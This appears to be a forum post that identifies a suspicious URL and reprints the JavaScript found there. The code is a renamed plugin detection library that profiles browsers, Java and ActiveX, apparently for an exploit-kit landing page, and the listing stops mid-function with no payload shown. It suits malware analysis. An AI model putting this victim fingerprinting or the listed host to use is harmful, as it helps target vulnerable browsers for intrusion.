查看: 1040|回复: 0
收起左侧

[已鉴定] http://198.50.240.137/.stats/strongly/actually-direct_missed_see.php

[复制链接]
fireold
发表于 2013-6-15 17:08:40 | 显示全部楼层 |阅读模式
  1. pdpd = {
  2.     version: "0.7.9",
  3.     name: "pdpd",
  4.     handler: function(c, b, a) {
  5.         return function() {
  6.             c(b, a)
  7.         }
  8.     },
  9.     openTag: "<",
  10.     isDefined: function(b) {
  11.         return typeof b != "undefined"
  12.     },
  13.     isArray: function(b) {
  14.         return (/array/i).test(Object.prototype.toString.call(b))
  15.     },
  16.     isFunc: function(b) {
  17.         return typeof b == "function"
  18.     },
  19.     isString: function(b) {
  20.         return typeof b == "string"
  21.     },
  22.     isNum: function(b) {
  23.         return typeof b == "number"
  24.     },
  25.     isStrNum: function(b) {
  26.         return (typeof b == "string" && (/\d/).test(b))
  27.     },
  28.     getNumRegx: /[\d][\d\.\_,-]*/,
  29.     splitNumRegx: /[\.\_,-]/g,
  30.     getNum: function(b, c) {
  31.         var d = this,
  32.             a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  33.         return a ? a[0] : null
  34.     },
  35.     compareNums: function(h, f, d) {
  36.         var e = this,
  37.             c, b, a, g = parseInt;
  38.         if (e.isStrNum(h) && e.isStrNum(f)) {
  39.             if (e.isDefined(d) && d.compareNums) {
  40.                 return d.compareNums(h, f)
  41.             }
  42.             c = h.split(e.splitNumRegx);
  43.             b = f.split(e.splitNumRegx);
  44.             for (a = 0; a < Math.min(c.length, b.length); a++) {
  45.                 if (g(c[a], 10) > g(b[a], 10)) {
  46.                     return 1
  47.                 }
  48.                 if (g(c[a], 10) < g(b[a], 10)) {
  49.                     return -1
  50.                 }
  51.             }
  52.         }
  53.         return 0
  54.     },
  55.     formatNum: function(b, c) {
  56.         var d = this,
  57.             a, e;
  58.         if (!d.isStrNum(b)) {
  59.             return null
  60.         }
  61.         if (!d.isNum(c)) {
  62.             c = 4
  63.         }
  64.         c--;
  65.         e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  66.         for (a = 0; a < 4; a++) {
  67.             if (/^(0+)(.+)$/.test(e[a])) {
  68.                 e[a] = RegExp.$2
  69.             }
  70.             if (a > c || !(/\d/).test(e[a])) {
  71.                 e[a] = "0"
  72.             }
  73.         }
  74.         return e.slice(0, 4).join(",")
  75.     },
  76.     $$hasMimeType: function(a) {
  77.         return function(c) {
  78.             if (!a.isIE && c) {
  79.                 var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : []);
  80.                 for (b = 0; b < d.length; b++) {
  81.                     if (a.isString(d[b]) && /[^\s]/.test(d[b])) {
  82.                         f = navigator.mimeTypes[d[b]];
  83.                         e = f ? f.enabledPlugin : 0;
  84.                         if (e && (e.name || e.description)) {
  85.                             return f
  86.                         }
  87.                     }
  88.                 }
  89.             }
  90.             return null
  91.         }
  92.     },
  93.     findNavPlugin: function(l, e, c) {
  94.         var j = this,
  95.             h = new RegExp(l, "i"),
  96.             d = (!j.isDefined(e) || e) ? /\d/ : 0,
  97.             k = c ? new RegExp(c, "i") : 0,
  98.             a = navigator.plugins,
  99.             g = "",
  100.             f, b, m;
  101.         for (f = 0; f < a.length; f++) {
  102.             m = a[f].description || g;
  103.             b = a[f].name || g;
  104.             if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) {
  105.                 if (!k || !(k.test(m) || k.test(b))) {
  106.                     return a[f]
  107.                 }
  108.             }
  109.         }
  110.         return null
  111.     },
  112.     getMimeEnabledPlugin: function(k, m, c) {
  113.         var e = this,
  114.             f, b = new RegExp(m, "i"),
  115.             h = "",
  116.             g = c ? new RegExp(c, "i") : 0,
  117.             a, l, d, j = e.isString(k) ? [k] : k;
  118.         for (d = 0; d < j.length; d++) {
  119.             if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)) {
  120.                 l = f.description || h;
  121.                 a = f.name || h;
  122.                 if (b.test(l) || b.test(a)) {
  123.                     if (!g || !(g.test(l) || g.test(a))) {
  124.                         return f
  125.                     }
  126.                 }
  127.             }
  128.         }
  129.         return 0
  130.     },
  131.     getPluginFileVersion: function(f, b) {
  132.         var h = this,
  133.             e, d, g, a, c = -1;
  134.         if (h.OS > 2 || !f || !f.version || !(e = h.getNum(f.version))) {
  135.             return b
  136.         }
  137.         if (!b) {
  138.             return e
  139.         }
  140.         e = h.formatNum(e);
  141.         b = h.formatNum(b);
  142.         d = b.split(h.splitNumRegx);
  143.         g = e.split(h.splitNumRegx);
  144.         for (a = 0; a < d.length; a++) {
  145.             if (-1 < c && c < a && !(d[a] == "0")) {
  146.                 return b
  147.             }
  148.             if (g[a] != d[a]) {
  149.                 if (c == -1) {
  150.                     c = a
  151.                 }
  152.                 if (d[a] != "0") {
  153.                     return b
  154.                 }
  155.             }
  156.         }
  157.         return e
  158.     },
  159.     AXO: window.ActiveXObject,
  160.     getAXO: function(a) {
  161.         var f = null,
  162.             d, b = this,
  163.             c = {};
  164.         try {
  165.             f = new b.AXO(a)
  166.         } catch (d) {}
  167.         return f
  168.     },
  169.     convertFuncs: function(f) {
  170.         var a, g, d, b = /^[\$][\$]/,
  171.             c = this;
  172.         for (a in f) {
  173.             if (b.test(a)) {
  174.                 try {
  175.                     g = a.slice(2);
  176.                     if (g.length > 0 && !f[g]) {
  177.                         f[g] = f[a](f);
  178.                         delete f[a]
  179.                     }
  180.                 } catch (d) {}
  181.             }
  182.         }
  183.     },
  184.     initObj: function(e, b, d) {
  185.         var a, c;
  186.         if (e) {
  187.             if (e[b[0]] == 1 || d) {
  188.                 for (a = 0; a < b.length; a = a + 2) {
  189.                     e[b[a]] = b[a + 1]
  190.                 }
  191.             }
  192.             for (a in e) {
  193.                 c = e[a];
  194.                 if (c && c[b[0]] == 1) {
  195.                     this.initObj(c, b)
  196.                 }
  197.             }
  198.         }
  199.     },
  200.     initScript: function() {
  201.         var d = this,
  202.             a = navigator,
  203.             h, i = document,
  204.             l = a.userAgent || "",
  205.             j = a.vendor || "",
  206.             b = a.platform || "",
  207.             k = a.product || "";
  208.         d.initObj(d, ["$", d]);
  209.         for (h in d.Plugins) {
  210.             if (d.Plugins[h]) {
  211.                 d.initObj(d.Plugins[h], ["$", d, "$$", d.Plugins[h]], 1)
  212.             }
  213.         }
  214.         d.convertFuncs(d);
  215.         d.OS = 100;
  216.         if (b) {
  217.             var g = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win." + "*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "", 100];
  218.             for (h = g.length - 2; h >= 0; h = h - 2) {
  219.                 if (g[h] && new RegExp(g[h], "i").test(b)) {
  220.                     d.OS = g[h + 1];
  221.                     break
  222.                 }
  223.             }
  224.         };
  225.         d.head = i.getElementsByTagName("head")[0] || i.getElementsByTagName("body")[0] || i.body || null;
  226.         d.isIE = new Function("return/*@cc_on!@*/!1")();
  227.         d.verIE = d.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(l) ? parseFloat(RegExp.$1, 10) : null;
  228.         d.ActiveXEnabled = false;
  229.         if (d.isIE) {
  230.             var h, m = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", "Scripting.Dictionary", "wmplayer.ocx"];
  231.             for (h = 0; h < m.length; h++) {
  232.                 if (d.getAXO(m[h])) {
  233.                     d.ActiveXEnabled = true;
  234.                     break
  235.                 }
  236.             }
  237.         };
  238.         d.isGecko = (/Gecko\s*\/\s*\d/i).test(l) && (/Gecko/i).test(k);
  239.         d.verGecko = d.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(l) ? RegExp.$1 : "0.9") : null;
  240.         d.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(l);
  241.         d.verChrome = d.isChrome ? d.formatNum(RegExp.$1) : null;
  242.         d.isSafari = ((/Apple/i).test(j) || (!j && !d.isChrome)) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(l);
  243.         d.verSafari = d.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(l) ? d.formatNum(RegExp.$1) : null;
  244.         d.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(l);
  245.         d.verOpera = d.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(l) || 1) ? parseFloat(RegExp.$1, 10) : null;
  246.         d.addWinEvent("load", d.handler(d.runWLfuncs, d))
  247.     },
  248.     init: function(d) {
  249.         var c = this,
  250.             b, d, a = {
  251.                 status: -3,
  252.                 plugin: 0
  253.             };
  254.         if (!c.isString(d)) {
  255.             return a
  256.         }
  257.         if (d.length == 1) {
  258.             c.getVersionDelimiter = d;
  259.             return a
  260.         }
  261.         d = d.toLowerCase().replace(/\s/g, "");
  262.         b = c.Plugins[d];
  263.         if (!b || !b.getVersion) {
  264.             return a
  265.         }
  266.         a.plugin = b;
  267.         if (!c.isDefined(b.installed)) {
  268.             b.installed = null;
  269.             b.version = null;
  270.             b.version0 = null;
  271.             b.getVersionDone = null;
  272.             b.pluginName = d
  273.         }
  274.         c.garbage = false;
  275.         if (c.isIE && !c.ActiveXEnabled && d !== "Ja" + "va") {
  276.             a.status = -2;
  277.             return a
  278.         }
  279.         a.status = 1;
  280.         return a
  281.     },
  282.     fPush: function(b, a) {
  283.         var c = this;
  284.         if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && c.isFunc(b[0]) && 0 < b.length))) {
  285.             a.push(b)
  286.         }
  287.     },
  288.     callArray: function(b) {
  289.         var c = this,
  290.             a;
  291.         if (c.isArray(b)) {
  292.             for (a = 0; a < b.length; a++) {
  293.                 if (b[a] === null) {
  294.                     return
  295.                 }
  296.                 c.call(b[a]);
  297.                 b[a] = null
  298.             }
  299.         }
  300.     },
  301.     call: function(c) {
  302.         var b = this,
  303.             a = b.isArray(c) ? c.length : -1;
  304.         if (0 < a && b.isFunc(c[0])) {
  305.             c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
  306.         } else {
  307.             if (b.isFunc(c)) {
  308.                 c(b)
  309.             }
  310.         }
  311.     },
  312.     $$isMinVersion: function(a) {
  313.         return function(h, g, d, c) {
  314.             var e = a.init(h),
  315.                 f, b = -1,
  316.                 j = {};
  317.             if (e.status < 0) {
  318.                 return e.status
  319.             }
  320.             f = e.plugin;
  321.             g = a.formatNum(a.isNum(g) ? g.toString() : (a.isStrNum(g) ? a.getNum(g) : "0"));
  322.             if (f.getVersionDone != 1) {
  323.                 f.getVersion(g, d, c);
  324.                 if (f.getVersionDone === null) {
  325.                     f.getVersionDone = 1
  326.                 }
  327.             }
  328.             a.cleanup();
  329.             if (f.installed !== null) {
  330.                 b = f.installed <= 0.5 ? f.installed : (f.installed == 0.7 ? 1 : (f.version === null ? 0 : (a.compareNums(f.version, g, f) >= 0 ? 1 : -0.1)))
  331.             };
  332.             return b
  333.         }
  334.     },
  335.     getVersionDelimiter: ",",
  336.     $$getVersion: function(a) {
  337.         return function(g, d, c) {
  338.             var e = a.init(g),
  339.                 f, b, h = {};
  340.             if (e.status < 0) {
  341.                 return null
  342.             };
  343.             f = e.plugin;
  344.             if (f.getVersionDone != 1) {
  345.                 f.getVersion(null, d, c);
  346.                 if (f.getVersionDone === null) {
  347.                     f.getVersionDone = 1
  348.                 }
  349.             }
  350.             a.cleanup();
  351.             b = (f.version || f.version0);
  352.             b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
  353.             return b
  354.         }
  355.     },
  356.     cleanup: function() {
  357.         var a = this;
  358.         if (a.garbage && a.isDefined(window.CollectGarbage)) {
  359.             window.CollectGarbage()
  360.         }
  361.     },
  362.     addWinEvent: function(d, c) {
  363.         var e = this,
  364.             a = window,
  365.             b;
  366.         if (e.isFunc(c)) {
  367.             if (a.addEventListener) {
  368.                 a.addEventListener(d, c, false)
  369.             } else {
  370.                 if (a.attachEvent) {
  371.                     a.attachEvent("on" + d, c)
  372.                 } else {
  373.                     b = a["on" + d];
  374.                     a["on" + d] = e.winHandler(c, b)
  375.                 }
  376.             }
  377.         }
  378.     },
  379.     winHandler: function(d, c) {
  380.         return function() {
  381.             d();
  382.             if (typeof c == "function") {
  383.                 c()
  384.             }
  385.         }
  386.     },
  387.     WLfuncs0: [],
  388.     WLfuncs: [],
  389.     runWLfuncs: function(a) {
  390.         var b = {};
  391.         a.winLoaded = true;
  392.         a.callArray(a.WLfuncs0);
  393.         a.callArray(a.WLfuncs);
  394.         if (a.onDoneEmptyDiv) {
  395.             a.onDoneEmptyDiv()
  396.         }
  397.     },
  398.     winLoaded: false,
  399.     $$onWindowLoaded: function(a) {
  400.         return function(b) {
  401.             if (a.winLoaded) {
  402.                 a.call(b)
  403.             } else {
  404.                 a.fPush(b, a.WLfuncs)
  405.             }
  406.         }
  407.     },
  408.     $$onDetectionDone: function(a) {
  409.         return function(h, g, c, b) {
  410.             var d = a.init(h),
  411.                 k, e, j = {};
  412.             if (d.status == -3) {
  413.                 return -1
  414.             }
  415.             e = d.plugin;
  416.             if (!a.isArray(e.funcs)) {
  417.                 e.funcs = []
  418.             }
  419.             if (e.getVersionDone != 1) {
  420.                 k = a.isMinVersion ? a.isMinVersion(h, "0", c, b) : a.getVersion(h, c, b)
  421.             }
  422.             if (e.installed != -0.5 && e.installed != 0.5) {
  423.                 a.call(g);
  424.                 return 1
  425.             }
  426.             if (e.NOTF) {
  427.                 a.fPush(g, e.funcs);
  428.                 return 0
  429.             }
  430.             return 1
  431.         }
  432.     },
  433.     div: null,
  434.     divID: "pdpd",
  435.     divWidth: 50,
  436.     pluginSize: 1,
  437.     emptyDiv: function() {
  438.         var d = this,
  439.             b, h, c, a, f, g;
  440.         if (d.div && d.div.childNodes) {
  441.             for (b = d.div.childNodes.length - 1; b >= 0; b--) {
  442.                 c = d.div.childNodes[b];
  443.                 if (c && c.childNodes) {
  444.                     for (h = c.childNodes.length - 1; h >= 0; h--) {
  445.                         g = c.childNodes[h];
  446.                         try {
  447.                             c.removeChild(g)
  448.                         } catch (f) {}
  449.                     }
  450.                 }
  451.                 if (c) {
  452.                     try {
  453.                         d.div.removeChild(c)
  454.                     } catch (f) {}
  455.                 }
  456.             }
  457.         }
  458.         if (!d.div) {
  459.             a = document.getElementById(d.divID);
  460.             if (a) {
  461.                 d.div = a
  462.             }
  463.         }
  464.         if (d.div && d.div.parentNode) {
  465.             try {
  466.                 d.div.parentNode.removeChild(d.div)
  467.             } catch (f) {}
  468.             d.div = null
  469.         }
  470.     },
  471.     DONEfuncs: [],
  472.     onDoneEmptyDiv: function() {
  473.         var c = this,
  474.             a, b;
  475.         if (!c.winLoaded) {
  476.             return
  477.         }
  478.         if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null) {
  479.             return
  480.         }
  481.         for (a in c) {
  482.             b = c[a];
  483.             if (b && b.funcs) {
  484.                 if (b.OTF == 3) {
  485.                     return
  486.                 }
  487.                 if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null) {
  488.                     return
  489.                 }
  490.             }
  491.         }
  492.         for (a = 0; a < c.DONEfuncs.length; a++) {
  493.             c.callArray(c.DONEfuncs)
  494.         }
  495.         c.emptyDiv()
  496.     },
  497.     getWidth: function(c) {
  498.         if (c) {
  499.             var a = c.scrollWidth || c.offsetWidth,
  500.                 b = this;
  501.             if (b.isNum(a)) {
  502.                 return a
  503.             }
  504.         }
  505.         return -1
  506.     },
  507.     getTagStatus: function(m, g, a, b) {
  508.         var c = this,
  509.             f, k = m.span,
  510.             l = c.getWidth(k),
  511.             h = a.span,
  512.             j = c.getWidth(h),
  513.             d = g.span,
  514.             i = c.getWidth(d);
  515.         if (!k || !h || !d || !c.getDOMobj(m)) {
  516.             return -2
  517.         }
  518.         if (j < i || 0 > l || 0 > j || 0 > i || i <= c.pluginSize || c.pluginSize < 1) {
  519.             return 0
  520.         }
  521.         if (l >= i) {
  522.             return -1
  523.         }
  524.         try {
  525.             if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)) {
  526.                 if (!m.winLoaded && c.winLoaded) {
  527.                     return 1
  528.                 }
  529.                 if (m.winLoaded && c.isNum(b)) {
  530.                     if (!c.isNum(m.count)) {
  531.                         m.count = b
  532.                     }
  533.                     if (b - m.count >= 10) {
  534.                         return 1
  535.                     }
  536.                 }
  537.             }
  538.         } catch (f) {}
  539.         return 0
  540.     },
  541.     getDOMobj: function(g, a) {
  542.         var f, d = this,
  543.             c = g ? g.span : 0,
  544.             b = c && c.firstChild ? 1 : 0;
  545.         try {
  546.             if (b && a) {
  547.                 d.div.focus()
  548.             }
  549.         } catch (f) {}
  550.         return b ? c.firstChild : null
  551.     },
  552.     setStyle: function(b, g) {
  553.         var f = b.style,
  554.             a, d, c = this;
  555.         if (f && g) {
  556.             for (a = 0; a < g.length; a = a + 2) {
  557.                 try {
  558.                     f[g[a]] = g[a + 1]
  559.                 } catch (d) {}
  560.             }
  561.         }
  562.     },
  563.     insertDivInBody: function(i, g) {
  564.         var f, c = this,
  565.             h = "pd33993399",
  566.             b = null,
  567.             d = g ? window.top.document : window.document,
  568.             a = d.getElementsByTagName("body")[0] || d.body;
  569.         if (!a) {
  570.             try {
  571.                 d.write('<div id="' + h + '">.' + c.openTag + "/div>");
  572.                 b = d.getElementById(h)
  573.             } catch (f) {}
  574.         }
  575.         a = d.getElementsByTagName("body")[0] || d.body;
  576.         if (a) {
  577.             a.insertBefore(i, a.firstChild);
  578.             if (b) {
  579.                 a.removeChild(b)
  580.             }
  581.         }
  582.     },
  583.     insertHTML: function(f, b, g, a, k) {
  584.         var l, m = document,
  585.             j = this,
  586.             p, o = m.createElement("span"),
  587.             n, i;
  588.         var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"];
  589.         var h = "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
  590.         if (!j.isDefined(a)) {
  591.             a = ""
  592.         }
  593.         if (j.isString(f) && (/[^\s]/).test(f)) {
  594.             f = f.toLowerCase().replace(/\s/g, "");
  595.             p = j.openTag + f + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" ';
  596.             p += 'style="' + h + 'display:inline;" ';
  597.             for (n = 0; n < b.length; n = n + 2) {
  598.                 if (/[^\s]/.test(b[n + 1])) {
  599.                     p += b[n] + '="' + b[n + 1] + '" '
  600.                 }
  601.             }
  602.             p += ">";
  603.             for (n = 0; n < g.length; n = n + 2) {
  604.                 if (/[^\s]/.test(g[n + 1])) {
  605.                     p += j.openTag + 'param name="' + g[n] + '" value="' + g[n + 1] + '" />'
  606.                 }
  607.             }
  608.             p += a + j.openTag + "/" + f + ">"
  609.         } else {
  610.             p = a
  611.         }
  612.         if (!j.div) {
  613.             i = m.getElementById(j.divID);
  614.             if (i) {
  615.                 j.div = i
  616.             } else {
  617.                 j.div = m.createElement("div");
  618.                 j.div.id = j.divID
  619.             }
  620.             j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3) + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "block"]));
  621.             if (!i) {
  622.                 j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"]);
  623.                 j.insertDivInBody(j.div)
  624.             }
  625.         }
  626.         if (j.div && j.div.parentNode) {
  627.             j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
  628.             try {
  629.                 o.innerHTML = p
  630.             } catch (l) {};
  631.             try {
  632.                 j.div.appendChild(o)
  633.             } catch (l) {};
  634.             return {
  635.                 span: o,
  636.                 winLoaded: j.winLoaded,
  637.                 tagName: f,
  638.                 outerHTML: p
  639.             }
  640.         }
  641.         return {
  642.             span: null,
  643.             winLoaded: j.winLoaded,
  644.             tagName: "",
  645.             outerHTML: p
  646.         }
  647.     },
  648.     file: {
  649.         $: 1,
  650.         any: "fileStorageAny999",
  651.         valid: "fileStorageValid999",
  652.         save: function(d, f, c) {
  653.             var b = this,
  654.                 e = b.$,
  655.                 a;
  656.             if (d && e.isDefined(c)) {
  657.                 if (!d[b.any]) {
  658.                     d[b.any] = []
  659.                 }
  660.                 if (!d[b.valid]) {
  661.                     d[b.valid] = []
  662.                 }
  663.                 d[b.any].push(c);
  664.                 a = b.split(f, c);
  665.                 if (a) {
  666.                     d[b.valid].push(a)
  667.                 }
  668.             }
  669.         },
  670.         getValidLength: function(a) {
  671.             return a && a[this.valid] ? a[this.valid].length : 0
  672.         },
  673.         getAnyLength: function(a) {
  674.             return a && a[this.any] ? a[this.any].length : 0
  675.         },
  676.         getValid: function(c, a) {
  677.             var b = this;
  678.             return c && c[b.valid] ? b.get(c[b.valid], a) : null
  679.         },
  680.         getAny: function(c, a) {
  681.             var b = this;
  682.             return c && c[b.any] ? b.get(c[b.any], a) : null
  683.         },
  684.         get: function(d, a) {
  685.             var c = d.length - 1,
  686.                 b = this.$.isNum(a) ? a : c;
  687.             return (0 > b || b > c) ? null : d[b]
  688.         },
  689.         split: function(g, c) {
  690.             var b = this,
  691.                 e = b.$,
  692.                 f = null,
  693.                 a, d;
  694.             g = g ? g.replace(".", "\.") : "";
  695.             d = new RegExp("^(.*[^\/])(" + g + "\s*)$");
  696.             if (e.isString(c) && d.test(c)) {
  697.                 a = (RegExp.$1).split("/");
  698.                 f = {
  699.                     name: a[a.length - 1],
  700.                     ext: RegExp.$2,
  701.                     full: c
  702.                 };
  703.                 a[a.length - 1] = "";
  704.                 f.path = a.join("/")
  705.             }
  706.             return f
  707.         },
  708.         z: 0
  709.     },
  710.     Plugins: {
  711.         java: {
  712.             mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
  713.             classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  714.             navigator: {
  715.                 a: window.navigator.javaEnabled(),
  716.                 javaEnabled: function() {
  717.                     return this.a
  718.                 },
  719.                 mimeObj: 0,
  720.                 pluginObj: 0
  721.             },
  722.             OTF: null,
  723.             minIEver: 7,
  724.             debug: 0,
  725.             debugEnable: function() {
  726.                 var a = this,
  727.                     b = a.$;
  728.                 a.debug = 1
  729.             },
  730.             isDisabled: {
  731.                 $: 1,
  732.                 DTK: function() {
  733.                     var a = this,
  734.                         c = a.$,
  735.                         b = a.$$;
  736.                     if ((c.isGecko && c.compareNums(c.verGecko, c.formatNum("1.6")) <= 0) || (c.isSafari && c.OS == 1 && (!c.verSafari || 0 > c.compareNums(c.verSafari, "5,1,0,0"))) || c.isChrome || (c.isIE && !c.ActiveXEnabled)) {
  737.                         return 1
  738.                     }
  739.                     return 0
  740.                 },
  741.                 AXO: function() {
  742.                     var a = this,
  743.                         c = a.$,
  744.                         b = a.$$;
  745.                     return (!c.isIE || !c.ActiveXEnabled || (!b.debug && b.DTK.query().status !== 0))
  746.                 },
  747.                 navMime: function() {
  748.                     var b = this,
  749.                         d = b.$,
  750.                         c = b.$$,
  751.                         a = c.navigator;
  752.                     if (d.isIE || !a.mimeObj || !a.pluginObj) {
  753.                         return 1
  754.                     }
  755.                     return 0
  756.                 },
  757.                 navPlugin: function() {
  758.                     var b = this,
  759.                         d = b.$,
  760.                         c = b.$$,
  761.                         a = c.navigator;
  762.                     if (d.isIE || !a.mimeObj || !a.pluginObj) {
  763.                         return 1
  764.                     }
  765.                     return 0
  766.                 },
  767.                 windowDotJava: function() {
  768.                     var a = this,
  769.                         c = a.$,
  770.                         b = a.$$;
  771.                     if (!window.java) {
  772.                         return 1
  773.                     }
  774.                     if (c.OS == 2 && c.verOpera > 8 && c.verOpera && c.verOpera < (9.3 - 0.1)) {
  775.                         return 1
  776.                     }
  777.                     return 0
  778.                 },
  779.                 allApplets: function() {
  780.                     var b = this,
  781.                         d = b.$,
  782.                         c = b.$$,
  783.                         a = c.navigator;
  784.                     if (d.OS >= 20) {
  785.                         return 0
  786.                     }
  787.                     if (d.verOpera && d.verOpera < 11 && !a.javaEnabled() && !c.lang.System.getProperty()[0]) {
  788.                         return 1
  789.                     }
  790.                     if ((d.verGecko && 0 > d.compareNums(d.verGecko, d.formatNum("2"))) && !a.mimeObj && !c.lang.System.getProperty()[0]) {
  791.                         return 1
  792.                     }
  793.                     return 0
  794.                 },
  795.                 AppletTag: function() {
  796.                     var b = this,
  797.                         d = b.$,
  798.                         c = b.$$,
  799.                         a = c.navigator;
  800.                     return d.isIE ? !a.javaEnabled() : 0
  801.                 },
  802.                 ObjectTag: function() {
  803.                     var a = this,
  804.                         c = a.$,
  805.                         b = a.$$;
  806.                     return c.isIE ? !c.ActiveXEnabled : 0
  807.                 },
  808.                 z: 0
  809.             },
  810.             getVerifyTagsDefault: function() {
  811.                 var a = this,
  812.                     c = a.$,
  813.                     b = [1, 0, 1];
  814.                 if (c.OS >= 20) {
  815.                     return b
  816.                 }
  817.                 if ((c.isIE && (c.verIE < 9 || !c.ActiveXEnabled)) || (c.verGecko && 0 > c.compareNums(c.verGecko, c.formatNum("2"))) || (c.isSafari && (!c.verSafari || 0 > c.compareNums(c.verSafari, c.formatNum("4")))) || (c.verOpera && c.verOpera < 10)) {
  818.                     b = [1, 1, 1]
  819.                 }
  820.                 return b
  821.             },
  822.             getVersion: function(j, g, i) {
  823.                 var b = this,
  824.                     d = b.$,
  825.                     e, a = b.applet,
  826.                     h = b.verify,
  827.                     k = b.navigator,
  828.                     f = null,
  829.                     l = null,
  830.                     c = null;
  831.                 if (b.getVersionDone === null) {
  832.                     b.OTF = 0;
  833.                     k.mimeObj = d.hasMimeType(b.mimeType);
  834.                     if (k.mimeObj) {
  835.                         k.pluginObj = k.mimeObj.enabledPlugin
  836.                     }
  837.                     if (h) {
  838.                         h.begin()
  839.                     }
  840.                 }
  841.                 a.setVerifyTagsArray(i);
  842.                 d.file.save(b, ".jar", g);
  843.                 if (b.getVersionDone === 0) {
  844.                     if (a.should_Insert_Query_Any()) {
  845.                         e = a.insert_Query_Any();
  846.                         b.setPluginStatus(e[0], e[1], f)
  847.                     }
  848.                     return
  849.                 }
  850.                 if ((!f || b.debug) && b.DTK.query().version) {
  851.                     f = b.DTK.version
  852.                 }
  853.                 if ((!f || b.debug) && b.navMime.query().version) {
  854.                     f = b.navMime.version
  855.                 }
  856.                 if ((!f || b.debug) && b.navPlugin.query().version) {
  857.                     f = b.navPlugin.version
  858.                 }
  859.                 if ((!f || b.debug) && b.AXO.query().version) {
  860.                     f = b.AXO.version
  861.                 }
  862.                 if (b.nonAppletDetectionOk(f)) {
  863.                     c = f
  864.                 }
  865.                 if (!c || b.debug || a.VerifyTagsHas(2.2) || a.VerifyTagsHas(2.5)) {
  866.                     e = b.lang.System.getProperty();
  867.                     if (e[0]) {
  868.                         f = e[0];
  869.                         c = e[0];
  870.                         l = e[1]
  871.                     }
  872.                 }
  873.                 b.setPluginStatus(c, l, f);
  874.                 if (a.should_Insert_Query_Any()) {
  875.                     e = a.insert_Query_Any();
  876.                     if (e[0]) {
  877.                         c = e[0];
  878.                         l = e[1]
  879.                     }
  880.                 }
  881.                 b.setPluginStatus(c, l, f)
  882.             },
  883.             nonAppletDetectionOk: function(b) {
  884.                 var d = this,
  885.                     e = d.$,
  886.                     a = d.navigator,
  887.                     c = 1;
  888.                 if (!b || (!a.javaEnabled() && !d.lang.System.getPropertyHas(b)) || (!e.isIE && !a.mimeObj && !d.lang.System.getPropertyHas(b)) || (e.isIE && !e.ActiveXEnabled)) {
  889.                     c = 0
  890.                 } else {
  891.                     if (e.OS >= 20) {} else {
  892.                         if (d.info && 0 > d.info.getPlugin2Status() && d.info.BrowserRequiresPlugin2()) {
  893.                             c = 0
  894.                         }
  895.                     }
  896.                 }
  897.                 return c
  898.             },
  899.             setPluginStatus: function(d, f, a) {
  900.                 var c = this,
  901.                     e = c.$,
  902.                     b;
  903.                 a = a || c.version0;
  904.                 if (0 < c.OTF) {
  905.                     d = d || c.lang.System.getProperty()[0]
  906.                 }
  907.                 if (c.OTF < 3) {
  908.                     b = d ? 1 : (a ? -0.2 : -1);
  909.                     if (c.installed === null || b > c.installed) {
  910.                         c.installed = b
  911.                     }
  912.                 }
  913.                 if (c.OTF == 2 && c.NOTF && !c.applet.getResult()[0] && !c.lang.System.getProperty()[0]) {
  914.                     c.installed = a ? -0.2 : -1
  915.                 };
  916.                 if (c.OTF == 3 && c.installed != -0.5 && c.installed != 0.5) {
  917.                     c.installed = (c.NOTF.isJavaActive(1) == 1 || c.lang.System.getProperty()[0]) ? 0.5 : -0.5
  918.                 }
  919.                 if (c.OTF == 4 && (c.installed == -0.5 || c.installed == 0.5)) {
  920.                     if (d) {
  921.                         c.installed = 1
  922.                     } else {
  923.                         if (c.NOTF.isJavaActive(1) == 1) {
  924.                             if (a) {
  925.                                 c.installed = 1;
  926.                                 d = a
  927.                             } else {
  928.                                 c.installed = 0
  929.                             }
  930.                         } else {
  931.                             if (a) {
  932.                                 c.installed = -0.2
  933.                             } else {
  934.                                 c.installed = -1
  935.                             }
  936.                         }
  937.                     }
  938.                 };
  939.                 if (a) {
  940.                     c.version0 = e.formatNum(e.getNum(a))
  941.                 }
  942.                 if (d) {
  943.                     c.version = e.formatNum(e.getNum(d))
  944.                 }
  945.                 if (f && e.isString(f)) {
  946.                     c.vendor = f
  947.                 }
